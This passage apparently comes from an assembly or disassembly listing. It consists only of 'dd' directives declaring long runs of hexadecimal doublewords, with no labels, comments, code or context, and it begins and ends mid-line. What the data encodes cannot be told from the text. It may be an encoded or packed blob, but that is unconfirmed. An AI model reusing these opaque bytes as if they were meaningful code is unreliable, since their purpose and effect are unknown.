0D3209FC1h, 141DE6F5h dd 0B8034Fh, 0D38B136Fh, 59DD41F7h, 0F86FD035h, 0EA56F274h dd 0B241F5DDh, 0C4A9E02Ch, 2C33EEC8h, 5FF6082Bh, 0B530AC0Ah dd 24D6809h, 7D6DF3D5h, 3BCACDA7h, 0AC67C8FDh, 529B2808h dd 0E3E916EBh, 0D24E903Dh, 0FAF1C97Dh, 0CC1DE9F0h, 89963F35h dd 0A76FBB1Dh, 0B775E64Bh, 31682BE0h, 0DEB13538h, 27BD3EA5h dd 169984C4h, 182E3A40h, 4F5B5FBEh, 0E93FB405h, 5BD5B52Dh dd 5970B1Ch, 0E469B37Eh, 3F1325E6h, 0F4557F92h, 85719509h dd 18507550h, 0C330301h, 783C6E45h, 9FF1A609h, 0CD00820h dd 60FF4A14h, 0D3397D49h, 30B8217Fh, 0C7AD5D4Ah, 0DAC27A89h dd 6DF3DE96h, 0F713105Ah, 98665125h, 0EF317897h, 0E1D82FAFh dd 692CD19Dh, 0A593E77Fh, 5866C660h, 2D170B1Fh, 1BBE3C82h dd 3F615040h, 22CEB568h, 0F66157C3h, 0BA8C6AC3h, 5E0E26C5h dd 0E5BF3ACDh, 0BA39D09Dh, 0E1033D85h, 5190AA14h, 0EFAFA36Eh dd 45F1936Bh, 0B4B81A73h, 0B9020094h, 64F0395Ah, 16B3FA2Ah dd 840DA962h, 0A1BEC537h, 1EA73BDEh, 181D6950h, 0BB30736Ah dd 222F6B05h, 8D8A74FAh, 403A7EE7h, 267B33B8h, 0B036124Ch dd 2C06EEC1h, 0C8DD2368h, 5DCD09C1h, 329EEE74h, 0D2BB6116h dd 5E092CF8h, 1D5346FAh, 8880285Fh, 0B7C05BB2h, 959A3D85h dd 0DAE5FBE8h, 0BA6143E8h, 5AD327FAh, 0AFF687D0h, 0E5955262h dd 0E099AB08h, 25300FBAh, 0AF404F51h, 20B9846Dh, 9242D8ACh dd 4287F678h, 265A6C59h, 16528B02h, 60F9015Ah, 0E11F4E33h dd 0B938AE2Bh, 88AA5A73h, 84315C85h, 5DE1E4C8h, 0FBE02902h dd 0B380A95Eh, 0DA083078h, 0F606EAF0h, 20166AEDh, 795D08h dd 0B82AA70Dh, 0CD00050Eh, 357CF92Ch, 9B1CBA8h, 8533E91Bh dd 77E97945h, 0E98B98DBh, 0A47AF82Fh, 16085986h, 28491774h dd 0C79904D6h, 0DD34BAB4h, 0E5017DD1h, 0C90FAC3Eh, 31CEA0EAh dd 0A4415A0Ah, 74DF20AFh, 80495825h, 95A04B17h, 5BC84889h dd 83BE5B2Ch, 0C6FEFCEEh, 6300A30h, 97F0283Ch, 88BEB0F5h dd 820E9E99h, 458A7230h, 6FD8AE57h, 2E8824FCh, 48C09B8h dd 35124218h, 0AAE25ADh, 84F508Dh, 6C2686DBh, 0A533D42Fh dd 0A3EFC222h, 0AEEC7A7Ch, 129799CBh, 84CAF756h, 0B0076B94h dd 0F6E1E009h, 0EA980CD8h, 5D807032h, 0ECC8D7EDh, 7FACD01h dd 0CCAA9C4Ah, 1E5E6507h, 99451AE4h, 0D7298A88h, 804FC58Fh dd 6130128Ah, 4CC12F35h dd 1B9002FAh, 0B40369Ch, 6301E4A3h, 0E9F929C9h, 0DD6A90CBh dd 3BCB6134h, 0B3537400h, 32B652B0h, 0F3085110h, 32A48175h dd 9F3CEE28h, 0C03F0C74h, 110C07E6h, 870B8FB7h, 0D6CB46E1h dd 647B0972h, 46315957h, 0A500B255h, 496CC81Ah, 0BC5C1FE9h dd 0B52488B8h, 81E28005h, 3018F7C0h, 0BA5B4AFAh, 50660CC0h dd 33EAC6B4h, 219F3891h, 0E5137815h, 9F89097Eh, 6B890DFCh dd 6200D460h, 10205D6h, 0B08F80CFh, 9D33ED22h, 92095970h dd 5777C203h, 30084F28h, 2412CE1Ch, 0B6184667h, 7F0652A2h dd 0ADEFB538h, 13EFE697h, 396419DEh, 27F6D8A6h, 81E0BF5Bh dd 0F8DA62F0h, 7CD4E188h, 0B1ABBA93h, 0C4AD6B6Fh, 6373B8C3h dd 0FBE92698h, 0C4A3414Ah, 0A3342079h, 3A1F48A1h, 700B812h dd 361C63EBh, 0F40CC117h, 7E40ED6Ch, 531B587h, 0EA9F3D45h dd 0C38A8B0Ch, 0C457FDC2h, 1135050Ch, 0EE5E2A7Ah, 0B0BF5124h dd 0A454E94Fh, 883951F9h, 25EB26E5h, 2900E62Eh, 93C281F2h dd 2B1D3E2Ah, 0FC42B9A7h, 0DD703AFDh, 55EAD4CAh, 90E4CADDh dd 0BC83E555h, 85064FB6h, 0D100EC8Fh, 0FC23BEAh, 0BA077384h dd 6D662F98h, 0B089C679h, 27ABC540h, 98C2D2DCh, 37D0952h dd 0F96E1B7Ch, 0B82A2912h, 5E74C2FFh, 9FC1DF13h, 0BE56004Eh dd 51DB74B9h, 2BEC8D7Dh, 0B6235024h, 0B270B7CDh, 81F32926h dd 0E3E93413h, 0BCD20FD3h, 0BCD2708Fh, 0A863105Bh, 0BBE3850h dd 5A0F4B76h, 2AF6F8B9h, 21BD5600h, 262C9439h, 0CF11D529h dd 0EA5DE884h, 0A85265E4h, 16AFB9C9h, 0BC30C377h, 0A75D3E24h dd 34DCFE54h, 44ACEA20h, 0E099EBB4h, 2277183Bh, 12147F05h dd 4FD17B6Fh, 1EBE2BC0h, 0F820F56h, 0D385F031h, 0FEF94E95h dd 0AE2996E4h, 6B8CA7CCh, 0C8C01FADh, 2B285F69h, 0ED09C271h dd 0AB7A1C0Fh, 2099E4FAh, 68EC1BACh, 4A134538h, 2AFD29AFh dd 32125BE2h, 0D62AACECh, 0F4A5D4B8h, 0F1975DC8h, 0BB53708Dh dd 7C01F50Bh, 0BFCF7A11h, 4B3B92D9h, 958B9DCh, 47736855h dd 5DE54059h, 7BACAC84h, 59BD2C75h, 97F28156h, 7F47EC41h dd 0B8403C5Eh, 296F7D5Ch, 2E51B5D1h, 79E12C97h, 7905A379h dd 1C8D76h, 0F334AFA6h, 0E95C017Eh, 3FCB3A02h, 0EEE3E009h dd 76D0699Bh, 86C60020h, 5A57ED4Ch, 4749684Eh, 15BA80A6h dd 9FDDA36Ch, 2914D267h, 8A0813FAh, 0F148E3E2h, 90DFED27h dd 0CB5153AEh, 72181A14h, 0F0728850h, 39E9C0B5h, 0EC3BBAB6h dd 0D3AD4BF5h, 0E88288C3h, 9655CAC9h, 74B9F11Eh, 67FC9F7Ah dd 68C710F2h, 0F6424A7Eh, 649C2710h, 4AE8986Bh, 83E8235Fh dd 0F1B7067Fh, 6E01C06Eh, 0E91038C7h, 0BD1A78F4h, 0D2FF2110h dd 775C97EAh, 20015969h, 0CF30228Fh, 3E0579Ah, 0BC555380h dd 3EE169C7h, 682C81F4h, 86E510Fh, 0FAE94B5Ch, 0B626CFC6h dd 83DEF6A5h, 0A4006DCh, 0F78028BCh, 3B82BFD5h, 7655F2C7h dd 16D7691Fh, 0E813D2DDh, 0E5FEB43Fh, 5AAE2A6Eh, 0A2E30C45h dd 16F75C82h, 0A73396CAh, 5A5881F6h, 0CB6A31E9h, 2319E2EBh dd 221E50D7h, 0F2171741h, 487FAB83h, 0A85B672Ch, 2BE9B043h dd 475EB778h, 0DC108843h, 4C7C28C3h, 0EB924669h, 1101614Ch dd 0B88E27E9h, 0C84ACF48h, 85686BC0h, 900D966Ah, 0D0D49F84h dd 49C5E9F0h, 30090F58h, 0A207A139h, 1691C3EEh, 0EF7F0987h dd 0BE31A4BFh, 5A5168A0h, 2AF2E1E1h, 5F330609h, 1C9BD514h dd 74B52D96h, 1F89CCD0h, 3E09993Ah, 0C01ADEA7h, 0D30CFD76h dd 1EE28D44h, 0F00E1308h, 4E1FA898h, 0CBA87D4Fh, 592ABF06h dd 830CBE6Bh, 184C6424h, 71D812EEh, 91F2FA3Eh, 0C862A45Eh dd 85F32F4Ah, 88949B13h, 0BA796661h, 53767174h, 124BBB1Eh dd 1377AB1h, 9FC20A87h, 1B01EB21h, 8B5DAAE9h, 0E55AF4E3h dd 0E68809A1h, 70E92FA3h, 3B05E94Eh, 0F4BC634Ah, 8D09FB96h dd 0B5056E58h, 5FC2E71Eh, 0F2378DE9h, 0E83041B6h, 0FBB56444h dd 4B763D38h, 6F36A7BDh, 686EC907h, 0E48CEE13h, 0E43AF388h dd 7040C01Dh, 3C1014BFh, 0C7028196h, 0E43827B4h, 3B136775h dd 0CD5EED01h, 7001F851h, 0E15F69CAh, 640729EFh, 3F5BA191h dd 0BFDD7DCCh, 64F527Eh, 0E5971DFh, 0FB3C67C5h, 60060C78h dd 0E96F7F09h, 5A21F7D2h, 28535BDEh, 0A79C0F2Fh, 84D7E5AAh dd 29A1D9F8h, 3E163591h, 42C938E1h, 62DEAAA7h, 448124BEh dd 18FA2A04h, 6271669Ch, 875F0AA1h, 0D2CF165h, 0E621440Bh dd 0B8D620EFh, 168FBA0Ah, 0D305B06Ah, 9080565Ah, 4BE02364h dd 724AAC25h, 0BC3EC414h, 9AC824CDh, 0B1516683h, 0AE0FC932h dd 0FE291289h, 0CCA021C8h, 0FCBB14C0h, 4A77D842h, 0E690EF43h dd 0EC504F9Ah, 39E02FE9h, 412DD8F2h, 6C391846h, 49924C6Fh dd 0BB77510h, 303F1168h, 74236BFh, 0EA831BDDh, 514A60FFh dd 0F14DAB9h, 7977D73h, 7A75BF74h, 2CE8E454h, 8F3525Bh dd 622F7D15h, 510A7E9Ah, 0BA882A5Ah, 2129404Ah, 4926F977h dd 93A58193h, 0AA6244D5h, 5AD02F21h, 0B58BC5DEh, 46C4DFB4h dd 4B0DC949h, 0DA91DCA2h, 8340665Ah, 9F4F8298h, 57E181EDh dd 0BCAF0479h, 13151C6Ch, 0C9193C21h, 6A882B58h, 57E23712h dd 7BD72189h, 0A03012E8h, 80B55C26h, 2E2283C6h, 6544900Ah dd 0C9EE8759h, 62986192h, 0D601029Eh, 0F6FB55E9h, 7B486276h dd 7BFD6E6Ah, 18DF2724h, 825D392Eh, 0F13F7440h, 1FBE60Ah dd 0F31324D5h, 3FF8BBC4h, 3C39EF4Eh, 4BB7FD83h, 0FC93E730h dd 10E9080Bh, 5B25937h, 3406C368h, 9EF78396h, 665BA903h dd 3C06E7C1h, 0F7130709h, 0CF3B04DFh, 1D0E82BBh, 705F814Ah dd 487B00CEh, 55E163Fh, 40FE67BFh, 7F4A8A90h, 50FDFDD0h dd 0DE6863AFh, 0E9B27EFBh, 94FDC04Ah, 4A21BC76h, 652108E4h dd 5DC83C93h, 379684h, 0D96B6EBBh, 0CB048151h, 329D5299h dd 1284EDAEh, 0F5FA78B4h, 4F7E22CAh, 0E9B86CABh, 0C870C12Eh dd 2D26CC4h, 0AFCAF705h, 5792B651h, 9CF9E3FAh, 2656D81Fh dd 82CA2D06h, 0FC882544h, 447416A2h, 983F81EDh, 0B591525Ch dd 7D1CB753h, 73639180h, 48D1CC9Fh, 0F14B6455h, 0F3D87F9Bh dd 8E4000EEh, 0E9F1313Bh, 77C992D5h, 848C65C2h, 0AC276B68h dd 4A08C05Dh, 62BD7660h, 0DD310B0Ch, 0CE976C4Eh, 5CF140E9h dd 47096814h, 0B58FD255h, 65986809h, 6A5ED146h, 25CB91C5h dd 1A21610h, 7D20BBB8h, 5A60966Fh, 885EA82Ah, 4CFAE4C7h dd 825B625Bh, 18FD509Dh, 12C46822h, 0EE7F4C13h, 0F22FC1F5h dd 75F0F104h, 1A605A02h, 0B9163961h, 90BE2177h, 7D9C68F6h dd 20B2A49Dh, 0D2DE6BF9h, 0FED25362h, 0B23F9A29h, 1DE80777h dd 0C5945476h, 21D0CBC4h, 27D6BFh, 0F7814DDCh, 1E4447BEh dd 0B9056A90h, 150C837h, 0A847D0EEh, 0D8D757AFh, 901413EBh dd 495D43E9h, 10BF2F4Eh, 56040858h, 0FE50FFE9h, 0B46E4989h dd 6405473h, 249A2468h, 7DF0C21Bh, 0E951AC98h, 5B208A59h dd 68FA36AAh, 302439E4h, 0C18B37Ch, 312EBA36h, 0CB7A381Dh dd 1D0225Fh, 1C447D36h, 95E3C701h, 0F8C0081Bh, 5F2851A1h dd 0F540EE0Ch, 0F26B6F16h, 931C2AE9h, 40230F94h, 37456863h dd 47C5924Ch, 0A0D7786Ah, 26A9BB51h, 6271B5C0h, 0F4803827h dd 0BD6BB7E2h, 0D9FF34F2h, 0A5F3E011h, 4D4D99E9h, 26F829DEh dd 6791923Eh, 8DC5DAB8h, 0E7D8EADCh, 7569390Dh, 40C9BDDBh dd 47F05D08h, 0D6547F4Ch, 0DE1E317h, 0D2A4566Dh, 47F75516h dd 0B0C8ADDBh, 0D8AAFC41h dd 0DF69F43h, 0EC603151h, 51BC25DBh, 0CF84EA65h, 9E6457B9h dd 516CB0B2h, 0E4201AB0h, 9B63A0A5h, 37C20109h, 19F80540h dd 0A3D283F2h, 0D038206Eh, 4AACD0A9h, 4CCCB857h, 0F80804B8h dd 0E5AF84BCh, 0E6B305A6h, 7ED5D383h, 8E044384h, 29BB52E4h dd 21BC08B0h, 19E4304Eh, 45FC09C3h, 5578CDF7h, 12A60509h dd 1B480262h, 22E127A3h, 0CD5E3251h, 42246902h, 7FE3DD7Fh dd 0A942FE9Dh, 9A0A19E9h, 0F9F97D94h, 1CD64427h, 6DFF50C5h dd 0A246F6B2h, 0A6AF734h, 1F74CBFDh, 4D251005h, 7B3A75E3h dd 22BF09D0h, 0F0B44AB9h, 0CAA34A8Eh, 98ACA4F8h, 0E9121DB8h dd 0F4FA79A9h, 0C2B5B903h, 0C24A761Fh, 0E3FC134Bh, 41ECE9D0h dd 0D6533008h, 2643BBBCh, 0BA4C0377h, 3A1B4DCBh, 3BB246D1h dd 66011990h, 79B30E53h, 5BC9DC30h, 46A43CFCh, 10EB8005h dd 0AFC8B84h, 8227A34Fh, 0E4913FE9h, 0F59D0FC4h, 2F668743h dd 0C3631731h, 0EC4BD49Ah, 0C8AE5EC4h, 5BC7030Ch, 11D5C821h dd 872D47B8h, 0FA473BDDh, 5594AB78h, 9258D67h, 770189CFh dd 0CA0D14CEh, 0F9F6B4E9h, 6A724DDh, 1165F602h, 3882075Eh dd 0E3B22A45h, 1794E91Bh, 0FC6D417Ah, 6A35AE43h, 0C85C89E8h dd 22DE3898h, 0BAF645FAh, 3CB5FEB2h, 58D5C9B3h, 245E73DDh dd 0ADB32627h, 0A30914F8h, 756B73D2h, 0AABB5AC0h, 209F082h dd 0F372AE2Dh, 40C25547h, 0D9221644h, 2329A07Fh, 0E2A19C10h dd 4D7D829h, 0B5F3AD63h, 0FC4D4E05h, 8874BE6Eh, 0DB00C19h dd 0C03F3BC0h, 252F081Dh, 294A74F6h, 0C0464D9h, 0EC491ACCh dd 0A4BE5B17h, 2113D14Ch, 3EEC634Fh, 20B9371Eh, 0EAE927h dd 8ECE2D26h, 0C55EC12Eh, 68EF8958h, 75C1B2FAh, 0AFF89C6Ah dd 0D9B15730h, 3EDD7AF1h, 0CFA626D0h, 0DB801418h, 2B203081h dd 37FD3B22h, 0FA7E4A02h, 0B8D709C8h, 955AF5A3h, 6082FFFh dd 0F17D61D3h, 0A7D8E41h, 8915BC6Ah, 0D04E60EDh, 96F1EFEEh dd 91E73F94h, 5D3FC71Ch, 0CF47DD41h, 646420CFh, 0A2A4AA5Ah dd 206C107h, 76667DE9h, 600A00F9h, 0AEB876E7h, 38562C4Dh dd 0C9C6169Eh, 71D301E7h, 0A7017B11h, 5455DEEAh, 5892E9C4h dd 0BED2677Eh, 0D0D7C1E3h, 0C7685262h, 99F3625Fh, 4FEB1C50h dd 4B5DA7F5h, 0F0ECFB1Ch, 908DF80Bh, 96855BFh, 35A63AFAh dd 556B24D4h, 8F229A60h, 55A80A02h, 754B5D5Bh, 2BC9C1E8h dd 1B228FAh, 0C41E6102h, 70E1E939h, 72BE0408h, 0C226FA7Bh dd 0C5618D86h, 82B02A58h, 0EC147B2Dh, 0EA014E43h, 3894928h dd 0E95B385Ah, 1341411Ah, 96E36014h, 5CAF649Ch, 3B2A0304h dd 0FEF237A3h, 215910E8h, 39F2D84Fh, 3ABBD1D2h, 536800A5h dd 62849C40h, 14227D7Bh, 4C022FDh, 0C44471F7h, 746A81F7h dd 2FB606C9h, 2C7949E2h, 7567F103h, 0F431E22Ah, 66C581ADh dd 2F0B6D70h, 5A20BECh, 880BC5D6h, 60D8E7h, 0FE90B652h dd 4E6C0C6h, 8AF68007h, 0C5EEF430h, 0D7BB44C3h, 50585896h dd 0F64D0CB0h, 0C4A66D8h, 28F82C07h, 4B4F04F0h, 2887575Ah dd 67A23FD0h, 8DD52D34h, 60980681h, 0BEB23AB3h, 0E939D3E0h dd 0B6EEE295h, 0A7435F29h, 2C59E880h, 0F8580570h, 0A044101Fh dd 66254063h, 0F2EAAB2Ch, 5D3E5B19h, 4A2CB73Fh, 4B0108C3h dd 6AF644B9h, 9EB7077Dh, 38F8F373h, 4E84580Eh, 985B7768h dd 65123CC1h, 4C007F0Ah, 0F0822EF1h, 0E9DE0931h, 20CC1230h dd 7DE762B7h, 376AB379h, 53B11C96h, 54B0F728h, 320B106Dh dd 84DDF75Dh, 0BE3428F2h, 8F826B44h, 0CBDE27EFh, 5A083355h dd 0F8A9532Dh, 5238C419h, 0FBF38100h, 0C47BE2BAh, 1686A035h dd 0CCEFF1EBh, 361C3B7Dh, 8C7C5F55h, 0B30BBCE9h, 2B7909C9h dd 930018F8h, 339B4FB8h, 0A1C6E91Ch, 5316D72Dh, 5EB6EFFEh dd 5567D725h, 0E9E6FD25h, 0A76DFB30h, 5C323AEDh, 9524B4E3h dd 29F5AFA2h, 12B99673h, 926833E9h, 4ADD05F4h, 4457714h dd 8AB4D5A5h, 0A1BB5302h, 5727C251h, 0E6617562h, 2C9C4001h dd 0FFB0EB4Ch, 0C7D1DB28h, 0DF076631h, 0B41702C4h, 5E3A92CAh dd 5CF280F7h, 9D56D852h, 0D460EA42h, 0A0B7736Dh, 707A8D09h dd 5A095855h, 0A5B73526h, 0E9D8B87Eh, 0BBC75E73h, 0D1299561h dd 1E7884F5h, 0FB2C4B56h, 1DBC1093h, 25828A05h, 84342D6Ah dd 73A83581h, 50AA29CCh, 1B95B800h, 900D72EDh, 320A2575h dd 52F44BE4h, 762B1813h, 0DD9D80BBh, 0B125C1E6h, 641BA089h dd 0EC52235Eh, 48FA09CEh, 907D02C2h, 2D38D3CAh, 0B3C66BF1h dd 5A1CE0BDh, 0BD0801E9h, 620D933Dh, 0F6FD3B29h, 0B909FE25h dd 1854B9F4h, 0C85559C8h, 612F3B46h, 4F655006h, 54158851h dd 440E0D97h, 42669D3Eh, 80001AC0h, 4D208AC2h, 0E3019DD3h dd 71E9F330h, 55229A4h, 1091AB4h, 3CDBE801h, 97B5745h dd 4EE22F83h, 67DDA86Ah, 0DD77B80Bh, 4A7E4C4Ch, 0AF16BA0Ah dd 23EC796Eh, 0E047550Ah, 2FC201A6h, 8213D941h, 0DF9C1E0Ch dd 2061D61Ch, 0E47414EEh, 5515E344h, 0E82508BDh, 38249C7Bh dd 117F2819h, 0C23DBC7Dh, 72560FFEh, 0A81CEA01h, 15A2B508h dd 6E4926BDh, 99C0FEC1h, 8BEEACE2h, 0E7B2084Ah, 0BF5400DEh dd 0B3C9E97Dh, 0EDD1DAC3h, 0CE3CC145h, 9BEC442Ah, 96A9AA79h dd 0A7A908B1h, 27DEFE22h, 0A03E227Bh, 2D5F02D8h, 407056DBh dd 5058185h, 0E08DE907h, 8B976643h, 4CB702ADh, 0A0C75D53h dd 0AF0BE420h, 0FC5CAC1Ch, 6EC70264h, 4D42CB5h, 9521782h dd 0A05561D0h, 3D6D8AD4h, 30FECD01h, 0EECFD71Ah, 0A83F18DEh dd 0D5F126C9h, 8D7B5DC9h, 8897DCCBh, 5E1DE540h, 6A8A698Bh dd 8F47B19h, 280B53C8h, 0BD8C05F3h, 48835082h, 8249542Ah dd 81B98A5Fh, 1432A80Bh, 7DF0B544h, 0A562FB9Eh, 0ABC62037h dd 35FDC0Ah, 84029FDh, 6850095Dh, 30DF5A48h, 5B34E95Ch dd 4B1AF2E4h, 39301CF1h, 6C26B59Eh, 85A0607h, 1431EFBCh dd 0A502C76Dh, 44915593h, 54AA5250h, 0A2966C77h, 2F0BD70Dh dd 9C5403FEh, 3B0802D4h, 0E55D6CB9h, 4E7A8857h, 0EA2F682Fh dd 325D956Dh, 6A9A39D7h, 53285128h, 493431FDh, 32489A19h dd 383707F1h, 8DEF2399h, 37613B66h, 0B55EDDDCh, 46E23EFCh dd 62697C43h, 0A97612C6h, 77597F61h, 0A37A5AC9h, 966A610Fh dd 67280655h, 2707032Ch, 6D424562h, 627871D7h, 3AC1B0F7h dd 0DF816B6Ch, 0D2043862h, 0D360DC02h, 7CE6BE3Bh, 31466113h dd 4AAF016h, 194BF054h, 1170066Eh, 40707507h, 3F168F65h dd 0AF010CBCh, 32E931CAh, 5C691A00h, 0BD3BCF98h, 21AF9CC6h dd 0FFE9EB44h, 0B64E17EBh, 4081481Bh, 637A9984h, 0F7105F66h dd 0F9890B0Fh, 204143E9h, 8C01D425h, 0C2273F7Ah, 5A627C19h dd 0AC64D204h, 5923C5B7h, 38B044FBh, 94E8BEE0h, 4A4A6F85h dd 0A8DDF1CAh, 12A45545h, 6B2054DDh, 3A5F8155h, 0C922CBAh dd 6398E392h, 68AE0507h, 85C52D4Ch, 0EC468CA0h, 5E7895F9h dd 4CA8FB1h, 5E760D89h, 0E107651Fh, 90E96C94h, 66027FB0h dd 0FE9374Ah, 4FBAF76Dh, 9B53A84h, 133F7428h, 4BB0F8B1h dd 0E90932CAh, 0C4EEB08Bh, 4B75AF6h, 80AB297Ah, 92569DFCh dd 0F15E2427h, 17781655h, 1AFB85Eh, 895FE488h, 0FA69FB31h dd 3487DB10h, 11FE9255h, 0BAD64131h, 8EA9C617h, 9618D8B1h dd 0ADCDE221h, 61C18D40h, 662858D7h, 726BE91Ah, 0DAFC5C55h dd 66118BFDh, 8ED0102h, 1566471h, 82CA0FDh, 9088E95Ch dd 48F0078Fh, 0EDB20D67h dd 8B5FF45Dh, 2E665449h, 0D178899Dh, 0E1FB641Ah, 0D5A82F0Fh dd 582F6EB6h, 8E1F513Ah, 0B856B3FAh, 0C2EE4BEDh, 6340E010h dd 0BF80A860h, 0CC0201C6h, 11E78118h, 2007D537h, 0E9124FF4h dd 81EC1C63h, 7D4933C3h, 6EE581E8h, 485F5816h, 1F4E95F4h dd 8140E84Dh, 47179DCDh, 64864073h, 0BB0EE5A7h, 6A5DE929h dd 6213B4CEh, 0D2C89A34h, 485E41B2h, 0CC3168EBh, 0BF08FD12h dd 7B1CF72Eh, 0A03CFC27h, 2260A3BBh, 18564834h, 171E4710h dd 0FFFC6FEh, 4A65C221h, 0CDD8D13Eh, 7BE23F0Bh, 2D2C829h dd 51A905E0h, 278C1440h, 0E97B8704h, 0BFFD9DA6h, 3C452304h dd 0F8F2DC7Ah, 0F728DA40h, 19E5B221h, 0BD12072Fh, 6588804Eh dd 6C627768h, 0F7719431h, 2AF31046h, 0E54050AEh, 81D7232Ch dd 0A4753CBAh, 0C70F2B7Dh, 34BBB268h, 0EA8CC1EAh, 0FFBF0228h dd 647FE7EAh, 9AE79840h, 3B681BF2h, 29D27F21h, 1251C71h dd 0E1455241h, 42005D0h, 2971C509h, 5317C4F0h, 0D2D01008h dd 17873417h, 0B508C41Fh, 0CD9FE4A4h, 0BC47DCB5h, 44791013h dd 0CC7FD38Eh, 52FC57A9h, 0F1E8F15Dh, 0EC23363Ch, 0BD85329h dd 0EC77FE8Dh, 24EE8282h, 9CAF8999h, 0DD00B907h, 0B8535F6Eh dd 5AE4D77Eh, 780DF4D9h, 762500B6h, 0D709C933h, 0E9A44AF8h dd 0BF985C9Fh, 18FFBCADh, 261B7D9Bh, 146D1E34h, 3A18DF03h dd 5FFA3F8Eh, 0F2818394h, 2DCE66F8h, 7E02129Eh, 0E1284B05h dd 5FC4829Eh, 68E2D100h, 0BD7E4820h, 2B107DD0h, 1C680CA6h dd 0BF1DF93Ch, 90E178Ah, 98592701h, 1306808Eh, 58EB9CEBh dd 68851C99h, 1A8C2111h, 0CDBF255h, 5D5B4964h, 9B1629FCh dd 0A312A4B6h, 0BF382E4h, 843BEAAAh, 0B37C60FFh, 0BB1CC0C1h dd 2B7A0EC2h, 1ABA5200h, 0E9635E70h, 0F470B2E8h, 5CA3F6C0h dd 62F8727h, 0D4772362h, 9593741Ah, 5FD56804h, 0F81B68BFh dd 77B1C5B2h, 29E1E713h, 1C56CB7Fh, 5D278A05h, 9790806Ch dd 630A6A2Eh, 5E1CEF96h, 0F33293C2h, 8034E317h, 97ECB99Bh dd 945F2E89h, 0B1497DBh, 10DC5E48h, 881D52B0h, 0DEAD79CCh dd 0E3C2D9E3h, 3974428Bh, 0C9C08619h, 0FBD6464h, 4981723Dh dd 98F6E56Bh, 3701F61Ch, 6C12683Bh, 0CAC5B429h, 4B1D8A60h dd 0FABB64EBh, 630B4765h, 0B28F028h, 6AB668ACh, 7E35B877h dd 0D9588184h, 5C0CAF4Eh, 2E8971DDh, 977E361h, 58A20768h dd 95D46EFFh, 7E51747Eh, 0E892667Ch, 4C282A3Fh, 4CD38839h dd 0A62D7D53h, 0E177F619h, 381674E9h, 0F79680B6h, 0E4C631D0h dd 5608C9F0h, 938E45DDh, 0D20117E9h, 0F37D70A4h, 536D310Eh dd 0EA27B54h, 0CFDCBBA5h, 0D2615CB9h, 0DF053BD4h, 0D8633568h dd 654964E5h, 9BA84FE6h, 6C018371h, 0F6013B3Ch, 0FEF4DE89h dd 0BB8DC006h, 0A21156Eh, 0B1684B3Dh, 0AACD7144h, 0CE8AC05h dd 0C400867h, 330A13E8h, 9F55017Fh, 823C4D15h, 0FB1D3E18h dd 27D9F606h, 946365F1h, 0EE5302A6h, 64D17025h, 0C6A661FDh dd 0F45F0842h, 6CEC0769h, 8D0C08ADh, 5AE99E61h, 5E77091Eh dd 0DF23B0F5h, 5818C1FCh, 8B51C768h, 4907C6C3h, 956C5A68h dd 4D9582A4h, 2827E00Eh, 135866C3h, 0AFE3EB80h, 0B41F76E6h dd 27F44292h, 0E077C4FEh, 0EADAE4EFh, 42E6F9D4h, 621C7782h dd 39BDDB2Ch, 0F867056Fh, 0B62928BAh, 0C1B96F4Fh, 0A8141CC5h dd 7F2D89B0h, 16A2CA48h, 277967BFh, 7E43017Ch, 21681641h dd 97F1E2D1h, 96685380h, 9E8D9112h, 6624956h, 0A1069C46h dd 593EE533h, 52042434h, 654E00A9h, 2D58619Ah, 0D3904F73h dd 75D33507h, 18A547A0h, 1E9C413h, 98D6A05Ah, 5D5A6761h dd 0C03FF109h, 0E327311Ah, 0A820397Fh, 0E80118AAh, 17468A52h dd 5E757401h, 943DE94Eh, 0E2429836h, 0BF54C912h, 0BF02E5E6h dd 0DA2464Fh, 661E7040h, 29730109h, 0F7BC00DFh, 5C79524Bh dd 0B65EA802h, 9FCD2693h, 0F23F31A6h, 5013DCBDh, 0F34B685Dh dd 0F08488A9h, 0F2800245h, 0F048551Fh, 0DA0B8688h, 7A14F653h dd 5354E13h, 81665EEDh, 0AF281A30h, 13355EA0h, 8B008797h dd 0D2B5BAD8h, 0B25797ADh, 6DC47D98h, 0BF408A20h, 0E958C45Eh dd 14B7BAEFh, 0E02C383h, 0BE27FC4h, 0AC32615Bh, 8021076Fh dd 1E2CA2F5h, 76204778h, 48FB077h, 0D91C4FBBh, 0C1C5F059h dd 2D03E801h, 0FCEAF276h, 0C755B06Fh, 81A18458h, 0ED54CD18h dd 59C0C07Fh, 5D4CE809h, 0FC2D1EAAh, 0C3EC2ED8h, 0E3490E57h dd 0C2B6E972h, 40D75B24h, 8774FB4h, 0DA291B2Eh, 0B09D0820h dd 0B5D50159h, 507104D4h, 0B262BB2Fh, 26957EACh, 9CD5271Dh dd 0B9510062h, 450310ABh, 0AF62F181h, 5BCB010Dh, 35B10832h dd 6F79C582h, 93E07F48h, 0BE2D2571h, 80BCE59Eh, 1A551945h dd 0DD4B61E9h, 0C1C4ECB8h, 669CBF52h, 35544013h, 813B2E09h dd 88B4C571h, 0EE813FBFh, 0D2BDA977h, 0CCF4F0F9h, 45A796BCh dd 0E1298257h, 0E4BB5904h, 4EF22D7Ch, 0E384062Fh, 2DBEE513h dd 50B166BFh, 7C5E1110h, 367C97CAh, 128FE7B8h, 1C570207h dd 0F6855E23h, 87A20712h, 4C01BED9h, 34099FDDh, 7D212AA7h dd 2E1E5C0Dh, 0E807601h, 0A87A2282h, 0D5E68B02h, 4557619Ah dd 0E95C6041h, 0FF4E5AF7h, 0A7499EAh, 134E484Fh, 617974h dd 0EC2F538Ah, 0B4BBA41Eh, 314ED7ACh, 0B2C6DFE8h, 0BE0632DEh dd 26465B96h, 90B0ED0h, 0C1C0CC30h, 4AF859D0h, 55F12903h dd 7E41E9h, 46B3E3C1h, 4683267h, 0A3CC424Fh, 30CE58ABh dd 6BEDE8B1h, 50E1F258h, 0CDD2A154h, 7268B550h, 16269312h dd 0B9F0F0FDh, 0DA10C30Fh, 7C24B272h, 6612FB04h, 768811Dh dd 59458250h, 31B47E9Eh, 77B9164Dh, 30EEB88Ah, 112E0E51h dd 2821514Bh, 955E4730h, 65EA4520h, 0D59501D2h, 3ACA9F83h dd 833FCF81h, 2E252150h, 0EA610257h, 0C12FA551h, 535B9370h dd 0E95820BFh, 7CBFAD4Fh, 44F56B9Bh, 0F6E9195Eh, 3ABF2099h dd 494FF2EDh, 3BE85F2Fh, 0D782CA82h, 46270C4Fh, 0D9B42CFDh dd 0AA3C1462h, 885152C0h, 0CBE653E1h, 2FC570EBh, 0AF8C94Ah dd 74E0BEC0h, 0E2B76143h, 0A8C6FDB7h, 0D3C95B0h, 0D12F8B09h dd 